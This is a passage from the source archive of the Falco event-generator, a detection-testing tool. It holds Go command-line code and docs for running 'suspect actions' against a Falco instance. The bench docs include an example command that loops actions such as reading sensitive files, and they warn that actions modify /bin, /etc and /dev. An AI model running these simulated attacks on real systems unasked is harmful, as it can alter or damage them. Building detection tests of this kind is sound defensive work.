func grpcFlags(flags *pflag.FlagSet) *client.Config {
	grpcCfg := &client.Config{}
	flags.StringVar(&grpcCfg.UnixSocketPath, "grpc-unix-socket", "unix:///run/falco/falco.sock", "Unix socket path for connecting to a Falco gRPC server")
	flags.StringVar(&grpcCfg.Hostname, "grpc-hostname", "localhost", "Hostname for connecting to a Falco gRPC server")
	flags.Uint16Var(&grpcCfg.Port, "grpc-port", 5060, "Port for connecting to a Falco gRPC server")
	flags.StringVar(&grpcCfg.CertFile, "grpc-cert", "/etc/falco/certs/client.crt", "Cert file path for connecting to a Falco gRPC server")
	flags.StringVar(&grpcCfg.KeyFile, "grpc-key", "/etc/falco/certs/client.key", "Key file path for connecting to a Falco gRPC server")
	flags.StringVar(&grpcCfg.CARootFile, "grpc-ca", "/etc/falco/certs/ca.crt", "CA root file path for connecting to a Falco gRPC server")
	return grpcCfg
}
07070100000010000081A400000000000000000000000166F189F100000707000000000000000000000000000000000000003300000000falco-event-generator-0.12.0/cmd/config_options.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package cmd

import (
	"errors"

	"github.com/creasty/defaults"
	"github.com/falcosecurity/event-generator/cmd/internal/validate"
	"github.com/go-playground/validator/v10"
	logger "github.com/sirupsen/logrus"
)

// ConfigOptions represent the persistent configuration flags of event-generator.
type ConfigOptions struct {
	ConfigFile string `validate:"filepath" name:"config"`
	LogLevel   string `validate:"logrus" name:"loglevel" default:"info"`
	LogFormat  string `validate:"format" name:"logformat" default:"text"`
}

// NewConfigOptions creates an instance of ConfigOptions.
func NewConfigOptions() *ConfigOptions {
	o := &ConfigOptions{}
	if err := defaults.Set(o); err != nil {
		logger.WithError(err).WithField("options", "ConfigOptions").Fatal("error setting event-generator options defaults")
	}
	return o
}

// Validate validates the ConfigOptions fields.
func (co *ConfigOptions) Validate() []error {
	if err := validate.V.Struct(co); err != nil {
		errs := err.(validator.ValidationErrors)
		errArr := []error{}
		for _, e := range errs {
			// Translate each error one at a time
			errArr = append(errArr, errors.New(e.Translate(validate.T)))
		}
		return errArr
	}
	return nil
}
07070100000011000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002A00000000falco-event-generator-0.12.0/cmd/internal07070100000012000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000003300000000falco-event-generator-0.12.0/cmd/internal/validate07070100000013000081A400000000000000000000000166F189F1000003EE000000000000000000000000000000000000004100000000falco-event-generator-0.12.0/cmd/internal/validate/isfilepath.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package validate

import (
	"fmt"
	"os"
	"reflect"

	"github.com/go-playground/validator/v10"
)

func isFilePath(fl validator.FieldLevel) bool {
	field := fl.Field()

	switch field.Kind() {
	case reflect.String:
		fileInfo, err := os.Stat(field.String())
		if err != nil {
			return os.IsNotExist(err)
		}

		return !fileInfo.IsDir()
	}

	panic(fmt.Sprintf("Bad field type %T", field.Interface()))
}
07070100000014000081A400000000000000000000000166F189F100000355000000000000000000000000000000000000004400000000falco-event-generator-0.12.0/cmd/internal/validate/islogruslevel.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package validate

import (
	"github.com/go-playground/validator/v10"
	logger "github.com/sirupsen/logrus"
)

func isLogrusLevel(fl validator.FieldLevel) bool {
	level := fl.Field().String()
	_, err := logger.ParseLevel(level)
	return err == nil
}
07070100000015000081A400000000000000000000000166F189F100000A62000000000000000000000000000000000000003F00000000falco-event-generator-0.12.0/cmd/internal/validate/validate.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package validate

import (
	"reflect"
	"strings"

	"github.com/go-playground/locales/en"
	ut "github.com/go-playground/universal-translator"
	"github.com/go-playground/validator/v10"
	en_translations "github.com/go-playground/validator/v10/translations/en"
)

// V is the validator single instance.
//
// It is a singleton so to cache the structs info.
var V *validator.Validate

// T is the universal translator for validatiors.
var T ut.Translator

func init() {
	V = validator.New()

	// Register a function to get the field name from "name" tags.
	V.RegisterTagNameFunc(func(fld reflect.StructField) string {
		name := strings.SplitN(fld.Tag.Get("name"), ",", 2)[0]
		if name == "-" {
			return ""
		}
		return name
	})

	if err := V.RegisterValidation("filepath", isFilePath); err != nil {
		panic(err)
	}

	if err := V.RegisterValidation("logrus", isLogrusLevel); err != nil {
		panic(err)
	}

	V.RegisterAlias("format", "eq=text|eq=json")

	eng := en.New()
	uni := ut.New(eng, eng)
	T, _ = uni.GetTranslator("en")
	if err := en_translations.RegisterDefaultTranslations(V, T); err != nil {
		panic(err)
	}

	if err := V.RegisterTranslation(
		"filepath",
		T,
		func(ut ut.Translator) error {
			return ut.Add("filepath", `'{0}' must be a valid file path`, true)
		},
		func(ut ut.Translator, fe validator.FieldError) string {
			t, _ := ut.T("filepath", fe.Field())
			return t
		},
	); err != nil {
		panic(err)
	}

	if err := V.RegisterTranslation(
		"logrus",
		T,
		func(ut ut.Translator) error {
			return ut.Add("logrus", `'{0}' is not a valid log level`, true)
		},
		func(ut ut.Translator, fe validator.FieldError) string {
			t, _ := ut.T("logrus", fe.Value().(string))
			return t
		},
	); err != nil {
		panic(err)
	}

	if err := V.RegisterTranslation(
		"format",
		T,
		func(ut ut.Translator) error {
			return ut.Add("format", `'{0}' is not a valid log format`, true)
		},
		func(ut ut.Translator, fe validator.FieldError) string {
			t, _ := ut.T("format", fe.Value().(string))
			return t
		},
	); err != nil {
		panic(err)
	}
}
07070100000016000081A400000000000000000000000166F189F10000084D000000000000000000000000000000000000002900000000falco-event-generator-0.12.0/cmd/list.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package cmd

import (
	"fmt"
	"regexp"
	"sort"

	// register event collections
	_ "github.com/falcosecurity/event-generator/events/k8saudit"
	_ "github.com/falcosecurity/event-generator/events/syscall"

	"github.com/falcosecurity/event-generator/events"
	"github.com/spf13/cobra"
)

// NewList instantiates the list subcommand.
func NewList() *cobra.Command {
	c := &cobra.Command{
		Use:   "list [regexp]",
		Short: "List available actions",
		Long: `Without arguments it lists all actions, otherwise only those actions matching the given regular expression.
`,
		Args:              cobra.MaximumNArgs(1),
		DisableAutoGenTag: true,
	}

	flags := c.Flags()
	flags.Bool("all", false, "List all actions, including those disabled by default")

	c.RunE = func(c *cobra.Command, args []string) error {

		all, err := flags.GetBool("all")
		if err != nil {
			return err
		}

		var evts map[string]events.Action
		if len(args) == 0 {
			evts = events.All()
		} else {

			reg, err := regexp.Compile(args[0])
			if err != nil {
				return err
			}

			evts = events.ByRegexp(reg)
			if len(evts) == 0 {
				return fmt.Errorf(`no events matching '%s'`, args[0])
			}
		}

		var actions []string
		for action := range evts {
			if !all && events.Disabled(action) {
				continue
			}
			actions = append(actions, action)
		}

		if len(actions) == 0 {
			return fmt.Errorf(`no enabled events matching '%s'`, args[0])
		}

		sort.Strings(actions)

		for _, v := range actions {
			fmt.Println(v)
		}

		return nil
	}

	return c
}
07070100000017000081A400000000000000000000000166F189F100001B21000000000000000000000000000000000000002900000000falco-event-generator-0.12.0/cmd/root.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package cmd

import (
	"context"
	"os"
	"os/signal"
	"strings"
	"syscall"

	// register event collections
	_ "github.com/falcosecurity/event-generator/events/k8saudit"
	_ "github.com/falcosecurity/event-generator/events/syscall"

	// Initialize all k8s client auth plugins
	_ "k8s.io/client-go/plugin/pkg/client/auth"

	"github.com/spf13/cobra"
	"github.com/spf13/pflag"

	homedir "github.com/mitchellh/go-homedir"
	logger "github.com/sirupsen/logrus"
	"github.com/spf13/viper"
)

func init() {
	logger.SetFormatter(&logger.TextFormatter{
		ForceColors:            true,
		DisableLevelTruncation: false,
		DisableTimestamp:       true,
	})
}

// New instantiates the root command.
func New(configOptions *ConfigOptions) *cobra.Command {
	if configOptions == nil {
		configOptions = NewConfigOptions()
	}
	rootCmd := &cobra.Command{
		Use:               "event-generator",
		Short:             "A command line tool to perform a variety of suspect actions.",
		DisableAutoGenTag: true,
		PersistentPreRun: func(c *cobra.Command, args []string) {
			// PersistentPreRun runs before flags validation but after args validation.
			// Do not assume initialization completed during args validation.

			// at this stage configOptions is bound to command line flags only
			validateConfig(*configOptions)
			initLogger(configOptions.LogLevel, configOptions.LogFormat)
			logger.Debug("running with args: ", strings.Join(os.Args, " "))
			initConfig(configOptions.ConfigFile)

			// then bind all flags to ENV and config file
			flags := c.Flags()
			initEnv()
			initFlags(flags, map[string]bool{
				// exclude flags to be not bound to ENV and config file
				"config":    true,
				"loglevel":  true,
				"logformat": true,
				"help":      true,
			})
			// validateConfig(*configOptions) // enable if other flags were bound to configOptions
			debugFlags(flags)
		},
		Run: func(c *cobra.Command, args []string) {
			if err := c.Help(); err != nil {
				logger.WithError(err).Fatal("error running help")
			}
		},
	}

	// Global flags
	flags := rootCmd.PersistentFlags()
	flags.StringVarP(&configOptions.ConfigFile, "config", "c", configOptions.ConfigFile, "Config file path (default $HOME/.falco-event-generator.yaml if exists)")
	flags.StringVarP(&configOptions.LogLevel, "loglevel", "l", configOptions.LogLevel, "Log level")
	flags.StringVar(&configOptions.LogFormat, "logformat", configOptions.LogFormat, `available formats: "text" or "json"`)

	// Commands
	rootCmd.AddCommand(NewRun())
	rootCmd.AddCommand(NewBench())
	rootCmd.AddCommand(NewTest())
	rootCmd.AddCommand(NewList())

	return rootCmd
}

// Execute creates the root command and runs it.
func Execute() {
	ctx := WithSignals(context.Background())
	if err := New(nil).ExecuteContext(ctx); err != nil {
		logger.WithError(err).Fatal("error executing event-generator")
	}
}

// WithSignals returns a copy of ctx with a new Done channel.
// The returned context's Done channel is closed when a SIGKILL or SIGTERM signal is received.
func WithSignals(ctx context.Context) context.Context {
	sigCh := make(chan os.Signal, 1)
	signal.Notify(sigCh, os.Interrupt, syscall.SIGTERM)

	ctx, cancel := context.WithCancel(ctx)
	go func() {
		defer cancel()
		select {
		case <-ctx.Done():
			return
		case s := <-sigCh:
			switch s {
			case os.Interrupt:
				logger.Infof("received SIGINT, shutting down")
			case syscall.SIGTERM:
				logger.Infof("received SIGTERM, shutting down")
			}
			return
		}
	}()
	return ctx
}

// validateConfig
func validateConfig(configOptions ConfigOptions) {
	if errs := configOptions.Validate(); errs != nil {
		for _, err := range errs {
			logger.WithError(err).Error("error validating config options")
		}
		logger.Fatal("exiting for validation errors")
	}
}

// initEnv enables automatic ENV variables lookup
func initEnv() {
	viper.AutomaticEnv()
	viper.SetEnvPrefix("falco_event_generator")
	viper.SetEnvKeyReplacer(strings.NewReplacer("-", "_"))
}

// initLogger configures the logger
func initLogger(logLevel string, logFormat string) {
	switch logFormat {
	case "text":
		// do nothing, default option
	case "json":
		logger.SetFormatter(&logger.JSONFormatter{
			DisableTimestamp: true,
		})
	default:
		logger.Fatalf(`"%s" log format is not supported`, logFormat)
	}
	lvl, err := logger.ParseLevel(logLevel)
	if err != nil {
		logger.Fatal(err)
	}
	logger.SetLevel(lvl)
}

// initConfig reads in config file, if any
func initConfig(configFile string) {
	if configFile != "" {
		viper.SetConfigFile(configFile)
	} else {
		// Find home directory.
		home, err := homedir.Dir()
		if err != nil {
			logger.WithError(err).Fatal("error getting the home directory")
		}

		viper.AddConfigPath(home)
		viper.SetConfigName(".falco-event-generator")
	}

	// If a config file is found, read it in.
	if err := viper.ReadInConfig(); err == nil {
		logger.WithField("file", viper.ConfigFileUsed()).Info("using config file")
	} else {
		if _, ok := err.(viper.ConfigFileNotFoundError); ok {
			// Config file not found, ignore ...
			logger.Debug("running without a configuration file")
		} else {
			// Config file was found but another error was produced
			logger.WithField("file", viper.ConfigFileUsed()).WithError(err).Fatal("error running with config file")
		}
	}
}

// initFlags binds a full flag set to the configuration, using each flag's long name as the config key.
//
// Assuming viper's `AutomaticEnv` is enabled, when a flag is not present in the command line
// will fallback to one of (in order of precedence):
// - ENV (with FALCO_EVENT_GENERATOR prefix)
// - config file (e.g. ~/.falco-event-generator.yaml)
// - its default
func initFlags(flags *pflag.FlagSet, exclude map[string]bool) {
	if err := viper.BindPFlags(flags); err != nil {
		logger.WithError(err).Fatal("error binding flags to configuration")
	}

	flags.VisitAll(func(f *pflag.Flag) {
		if exclude[f.Name] {
			return
		}
		viper.SetDefault(f.Name, f.DefValue)
		if v := viper.GetString(f.Name); v != f.DefValue {
			if err := flags.Set(f.Name, v); err != nil {
				logger.WithError(err).WithField("flag", f.Name).Fatal("error setting flag")
			}
		}
	})
}

func debugFlags(flags *pflag.FlagSet) {
	fields := logger.Fields{}
	flags.VisitAll(func(f *pflag.Flag) {
		if f.Changed {
			fields[f.Name] = f.Value
		}
	})
	logger.WithFields(fields).Debug("running with options")
}
07070100000018000081A400000000000000000000000166F189F100000F7E000000000000000000000000000000000000002800000000falco-event-generator-0.12.0/cmd/run.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package cmd

import (
	"fmt"
	"strings"
	"time"

	"github.com/falcosecurity/event-generator/events"
	"github.com/falcosecurity/event-generator/pkg/runner"

	logger "github.com/sirupsen/logrus"
	"github.com/spf13/cobra"
	"k8s.io/cli-runtime/pkg/genericclioptions"
	cmdutil "k8s.io/kubectl/pkg/cmd/util"
)

// DefaultNamespace const contains the name of the default Kubernetes namespace.
const DefaultNamespace = "default"

const runWarningMessage = `
Warning:
  This command might alter your system. For example, some actions modify files and directories below
  /bin, /etc, /dev, etc.
  Make sure you fully understand what is the purpose of this tool before running any action.
`

// NewRun instantiates the run subcommand.
func NewRun() *cobra.Command {
	c, runEWithOpts := newRunTemplate()
	c.RunE = func(c *cobra.Command, args []string) error {
		return runEWithOpts(c, args)
	}
	return c
}

func newRunTemplate() (c *cobra.Command, runE func(c *cobra.Command, args []string, options ...runner.Option) error) {
	c = &cobra.Command{
		Use:   "run [regexp]",
		Short: "Run actions",
		Long: `Performs a variety of suspect actions.

Without arguments it runs all actions, otherwise only those actions matching the given regular expression.

` + runWarningMessage,
		Args:              cobra.MaximumNArgs(1),
		DisableAutoGenTag: true,
	}

	flags := c.Flags()

	flags.Duration("sleep", time.Millisecond*100, "The length of time to wait before running an action. Non-zero values should contain a corresponding time unit (e.g. 1s, 2m, 3h). A value of zero means no sleep.")
	flags.Bool("loop", false, "Run in a loop")
	flags.Bool("all", false, "Run all actions, including those disabled by default")

	kubeConfigFlags := genericclioptions.NewConfigFlags(false)
	kubeConfigFlags.AddFlags(flags)
	matchVersionKubeConfigFlags := cmdutil.NewMatchVersionFlags(kubeConfigFlags)
	matchVersionKubeConfigFlags.AddFlags(flags)

	ns := flags.Lookup("namespace")
	ns.DefValue = DefaultNamespace
	if err := ns.Value.Set(DefaultNamespace); err != nil {
		panic(err)
	}

	return c, func(c *cobra.Command, args []string, options ...runner.Option) error {
		flags := c.Flags()
		ns, err := flags.GetString("namespace")
		if err != nil {
			return err
		}

		sleep, err := flags.GetDuration("sleep")
		if err != nil {
			return err
		}

		loop, err := flags.GetBool("loop")
		if err != nil {
			return err
		}

		all, err := flags.GetBool("all")
		if err != nil {
			return err
		}

		l := logger.StandardLogger()

		// Honor --all too!
		exeArgs := fmt.Sprintf("--loglevel %s run", l.GetLevel().String())
		if all {
			exeArgs += " --all"
		}

		runOpts := []runner.Option{
			runner.WithLogger(l),
			runner.WithKubeNamespace(ns),
			runner.WithKubeFactory(cmdutil.NewFactory(matchVersionKubeConfigFlags)),
			// todo(leogr): inherit other flags
			runner.WithExecutable("", strings.Split(exeArgs, " ")...),
			runner.WithSleep(sleep),
			runner.WithLoop(loop),
			runner.WithAllEnabled(all),
		}

		// allow to override runOpts by appending given options
		options = append(runOpts, options...)

		r, err := runner.New(options...)
		if err != nil {
			return err
		}

		c.SilenceUsage = true

		if len(args) == 0 {
			return r.Run(c.Context(), events.All())
		}

		evts, err := parseEventsArg(args[0])
		if err != nil {
			return err
		}

		return r.Run(c.Context(), evts)
	}
}
07070100000019000081A400000000000000000000000166F189F100000680000000000000000000000000000000000000002900000000falco-event-generator-0.12.0/cmd/test.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package cmd

import (
	"time"

	"github.com/falcosecurity/event-generator/pkg/runner"
	"github.com/falcosecurity/event-generator/pkg/tester"

	"github.com/spf13/cobra"
)

// NewTest instantiates the test subcommand.
func NewTest() *cobra.Command {
	c, runEWithOpts := newRunTemplate()

	c.Use = "test [regexp]"
	c.Short = "Run and test actions"
	c.Long = `Performs a variety of suspect actions and test them against a running Falco instance.

Note that the Falco gRPC Output must be enabled to use this command.
Without arguments it tests all actions, otherwise only those actions matching the given regular expression.

` + runWarningMessage

	flags := c.Flags()

	var testTimeout time.Duration
	flags.DurationVar(&testTimeout, "test-timeout", tester.DefaultTestTimeout, "Test duration timeout")

	grpcCfg := grpcFlags(flags)

	c.RunE = func(c *cobra.Command, args []string) error {
		t, err := tester.New(grpcCfg, tester.WithTestTimeout(testTimeout))
		if err != nil {
			return err
		}
		return runEWithOpts(c, args, runner.WithPlugin(t))
	}

	return c
}
0707010000001A000041ED00000000000000000000000266F189F100000000000000000000000000000000000000000000002200000000falco-event-generator-0.12.0/docs0707010000001B000081A400000000000000000000000166F189F1000002D4000000000000000000000000000000000000003500000000falco-event-generator-0.12.0/docs/event-generator.md## event-generator

A command line tool to perform a variety of suspect actions.

```
event-generator [flags]
```

### Options

```
  -c, --config string      Config file path (default $HOME/.falco-event-generator.yaml if exists)
  -h, --help               help for event-generator
      --logformat string   available formats: "text" or "json" (default "text")
  -l, --loglevel string    Log level (default "info")
```

### SEE ALSO

* [event-generator bench](event-generator_bench.md)	 - Benchmark for Falco
* [event-generator list](event-generator_list.md)	 - List available actions
* [event-generator run](event-generator_run.md)	 - Run actions
* [event-generator test](event-generator_test.md)	 - Run and test actions

0707010000001C000081A400000000000000000000000166F189F100001509000000000000000000000000000000000000003B00000000falco-event-generator-0.12.0/docs/event-generator_bench.md## event-generator bench

Benchmark for Falco

### Synopsis

Benchmark a running Falco instance.

This command generates a high number of Event Per Second (EPS), to test the events throughput allowed by Falco.
The number of EPS is controlled by the "--sleep" option: reduce the sleeping duration to increase the EPS.
If the "--loop" option is set, the sleeping duration is halved on each round.
The "--pid" option can be used to monitor the Falco process. 
	
N.B.:
	- the Falco gRPC Output must be enabled to use this command
	- "outputs.rate" and "outputs.max_burst" values within the Falco configuration must be increased,
	  otherwise EPS will be rate-limited by the throttling mechanism
	- since not all actions can be used for benchmarking, 
	  only those actions matching the given regular expression are used

One commmon way to use this command is as following:

	event-generator bench "ChangeThreadNamespace|ReadSensitiveFileUntrusted" --all --loop --sleep 10ms --pid $(pidof -s falco) 



Warning:
  This command might alter your system. For example, some actions modify files and directories below
  /bin, /etc, /dev, etc.
  Make sure you fully understand what is the purpose of this tool before running any action.


```
event-generator bench [regexp] [flags]
```

### Options

```
      --all                            Run all actions, including those disabled by default
      --as string                      Username to impersonate for the operation. User could be a regular user or a service account in a namespace.
      --as-group stringArray           Group to impersonate for the operation, this flag can be repeated to specify multiple groups.
      --as-uid string                  UID to impersonate for the operation.
      --cache-dir string               Default cache directory (default "$HOME/.kube/http-cache")
      --certificate-authority string   Path to a cert file for the certificate authority
      --client-certificate string      Path to a client certificate file for TLS
      --client-key string              Path to a client key file for TLS
      --cluster string                 The name of the kubeconfig cluster to use
      --context string                 The name of the kubeconfig context to use
      --disable-compression            If true, opt-out of response compression for all requests to the server
      --dry-run                        Do not connect to Falco gRPC API
      --grpc-ca string                 CA root file path for connecting to a Falco gRPC server (default "/etc/falco/certs/ca.crt")
      --grpc-cert string               Cert file path for connecting to a Falco gRPC server (default "/etc/falco/certs/client.crt")
      --grpc-hostname string           Hostname for connecting to a Falco gRPC server (default "localhost")
      --grpc-key string                Key file path for connecting to a Falco gRPC server (default "/etc/falco/certs/client.key")
      --grpc-port uint16               Port for connecting to a Falco gRPC server (default 5060)
      --grpc-unix-socket string        Unix socket path for connecting to a Falco gRPC server (default "unix:///run/falco/falco.sock")
  -h, --help                           help for bench
      --humanize                       Humanize values when printing statistics (default true)
      --insecure-skip-tls-verify       If true, the server's certificate will not be checked for validity. This will make your HTTPS connections insecure
      --kubeconfig string              Path to the kubeconfig file to use for CLI requests.
      --loop                           Run in a loop
      --match-server-version           Require server version to match client version
  -n, --namespace string               If present, the namespace scope for this CLI request (default "default")
      --pid int                        A process PID to monitor while benchmarking (e.g. the falco process)
      --polling-interval duration      Duration of gRPC APIs polling timeout (default 100ms)
      --request-timeout string         The length of time to wait before giving up on a single server request. Non-zero values should contain a corresponding time unit (e.g. 1s, 2m, 3h). A value of zero means don't timeout requests. (default "0")
      --round-duration duration        Duration of a benchmark round (default 5s)
  -s, --server string                  The address and port of the Kubernetes API server
      --sleep duration                 The length of time to wait before running an action. Non-zero values should contain a corresponding time unit (e.g. 1s, 2m, 3h). A value of zero means no sleep. (default 100ms)
      --tls-server-name string         Server name to use for server certificate validation. If it is not provided, the hostname used to contact the server is used
      --token string                   Bearer token for authentication to the API server
      --user string                    The name of the kubeconfig user to use
```

### Options inherited from parent commands

```
  -c, --config string      Config file path (default $HOME/.falco-event-generator.yaml if exists)
      --logformat string   available formats: "text" or "json" (default "text")
  -l, --loglevel string    Log level (default "info")
```

### SEE ALSO

* [event-generator](event-generator.md)	 - A command line tool to perform a variety of suspect actions.

0707010000001D000081A400000000000000000000000166F189F1000002E8000000000000000000000000000000000000003A00000000falco-event-generator-0.12.0/docs/event-generator_list.md## event-generator list

List available actions

### Synopsis

Without arguments it lists all actions, otherwise only those actions matching the given regular expression.


```
event-generator list [regexp] [flags]
```

### Options

```
      --all    List all actions, including those disabled by default
  -h, --help   help for list
```

### Options inherited from parent commands

```
  -c, --config string      Config file path (default $HOME/.falco-event-generator.yaml if exists)
      --logformat string   available formats: "text" or "json" (default "text")
  -l, --loglevel string    Log level (default "info")
```

### SEE ALSO

* [event-generator](event-generator.md)	 - A command line tool to perform a variety of suspect actions.

0707010000001E000081A400000000000000000000000166F189F100000D46000000000000000000000000000000000000003900000000falco-event-generator-0.12.0/docs/event-generator_run.md## event-generator run

Run actions

### Synopsis

Performs a variety of suspect actions.

Without arguments it runs all actions, otherwise only those actions matching the given regular expression.


Warning:
  This command might alter your system. For example, some actions modify files and directories below
  /bin, /etc, /dev, etc.
  Make sure you fully understand what is the purpose of this tool before running any action.


```
event-generator run [regexp] [flags]
```

### Options

```
      --all                            Run all actions, including those disabled by default
      --as string                      Username to impersonate for the operation. User could be a regular user or a service account in a namespace.
      --as-group stringArray           Group to impersonate for the operation, this flag can be repeated to specify multiple groups.
      --as-uid string                  UID to impersonate for the operation.
      --cache-dir string               Default cache directory (default "$HOME/.kube/http-cache")
      --certificate-authority string   Path to a cert file for the certificate authority
      --client-certificate string      Path to a client certificate file for TLS
      --client-key string              Path to a client key file for TLS
      --cluster string                 The name of the kubeconfig cluster to use
      --context string                 The name of the kubeconfig context to use
      --disable-compression            If true, opt-out of response compression for all requests to the server
  -h, --help                           help for run
      --insecure-skip-tls-verify       If true, the server's certificate will not be checked for validity. This will make your HTTPS connections insecure
      --kubeconfig string              Path to the kubeconfig file to use for CLI requests.
      --loop                           Run in a loop
      --match-server-version           Require server version to match client version
  -n, --namespace string               If present, the namespace scope for this CLI request (default "default")
      --request-timeout string         The length of time to wait before giving up on a single server request. Non-zero values should contain a corresponding time unit (e.g. 1s, 2m, 3h). A value of zero means don't timeout requests. (default "0")
  -s, --server string                  The address and port of the Kubernetes API server
      --sleep duration                 The length of time to wait before running an action. Non-zero values should contain a corresponding time unit (e.g. 1s, 2m, 3h). A value of zero means no sleep. (default 100ms)
      --tls-server-name string         Server name to use for server certificate validation. If it is not provided, the hostname used to contact the server is used
      --token string                   Bearer token for authentication to the API server
      --user string                    The name of the kubeconfig user to use
```

### Options inherited from parent commands

```
  -c, --config string      Config file path (default $HOME/.falco-event-generator.yaml if exists)
      --logformat string   available formats: "text" or "json" (default "text")
  -l, --loglevel string    Log level (default "info")
```

### SEE ALSO

* [event-generator](event-generator.md)	 - A command line tool to perform a variety of suspect actions.

0707010000001F000081A400000000000000000000000166F189F1000010F1000000000000000000000000000000000000003A00000000falco-event-generator-0.12.0/docs/event-generator_test.md## event-generator test

Run and test actions

### Synopsis

Performs a variety of suspect actions and test them against a running Falco instance.

Note that the Falco gRPC Output must be enabled to use this command.
Without arguments it tests all actions, otherwise only those actions matching the given regular expression.


Warning:
  This command might alter your system. For example, some actions modify files and directories below
  /bin, /etc, /dev, etc.
  Make sure you fully understand what is the purpose of this tool before running any action.


```
event-generator test [regexp] [flags]
```

### Options

```
      --all                            Run all actions, including those disabled by default
      --as string                      Username to impersonate for the operation. User could be a regular user or a service account in a namespace.
      --as-group stringArray           Group to impersonate for the operation, this flag can be repeated to specify multiple groups.
      --as-uid string                  UID to impersonate for the operation.
      --cache-dir string               Default cache directory (default "$HOME/.kube/http-cache")
      --certificate-authority string   Path to a cert file for the certificate authority
      --client-certificate string      Path to a client certificate file for TLS
      --client-key string              Path to a client key file for TLS
      --cluster string                 The name of the kubeconfig cluster to use
      --context string                 The name of the kubeconfig context to use
      --disable-compression            If true, opt-out of response compression for all requests to the server
      --grpc-ca string                 CA root file path for connecting to a Falco gRPC server (default "/etc/falco/certs/ca.crt")
      --grpc-cert string               Cert file path for connecting to a Falco gRPC server (default "/etc/falco/certs/client.crt")
      --grpc-hostname string           Hostname for connecting to a Falco gRPC server (default "localhost")
      --grpc-key string                Key file path for connecting to a Falco gRPC server (default "/etc/falco/certs/client.key")
      --grpc-port uint16               Port for connecting to a Falco gRPC server (default 5060)
      --grpc-unix-socket string        Unix socket path for connecting to a Falco gRPC server (default "unix:///run/falco/falco.sock")
  -h, --help                           help for test
      --insecure-skip-tls-verify       If true, the server's certificate will not be checked for validity. This will make your HTTPS connections insecure
      --kubeconfig string              Path to the kubeconfig file to use for CLI requests.
      --loop                           Run in a loop
      --match-server-version           Require server version to match client version
  -n, --namespace string               If present, the namespace scope for this CLI request (default "default")
      --request-timeout string         The length of time to wait before giving up on a single server request. Non-zero values should contain a corresponding time unit (e.g. 1s, 2m, 3h). A value of zero means don't timeout requests. (default "0")
  -s, --server string                  The address and port of the Kubernetes API server
      --sleep duration                 The length of time to wait before running an action. Non-zero values should contain a corresponding time unit (e.g. 1s, 2m, 3h). A value of zero means no sleep. (default 100ms)
      --test-timeout duration          Test duration timeout (default 1m0s)
      --tls-server-name string         Server name to use for server certificate validation. If it is not provided, the hostname used to contact the server is used
      --token string                   Bearer token for authentication to the API server
      --user string                    The name of the kubeconfig user to use
```

### Options inherited from parent commands

```
  -c, --config string      Config file path (default $HOME/.falco-event-generator.yaml if exists)
      --logformat string   available formats: "text" or "json" (default "text")
  -l, --loglevel string    Log level (default "info")
```

### SEE ALSO

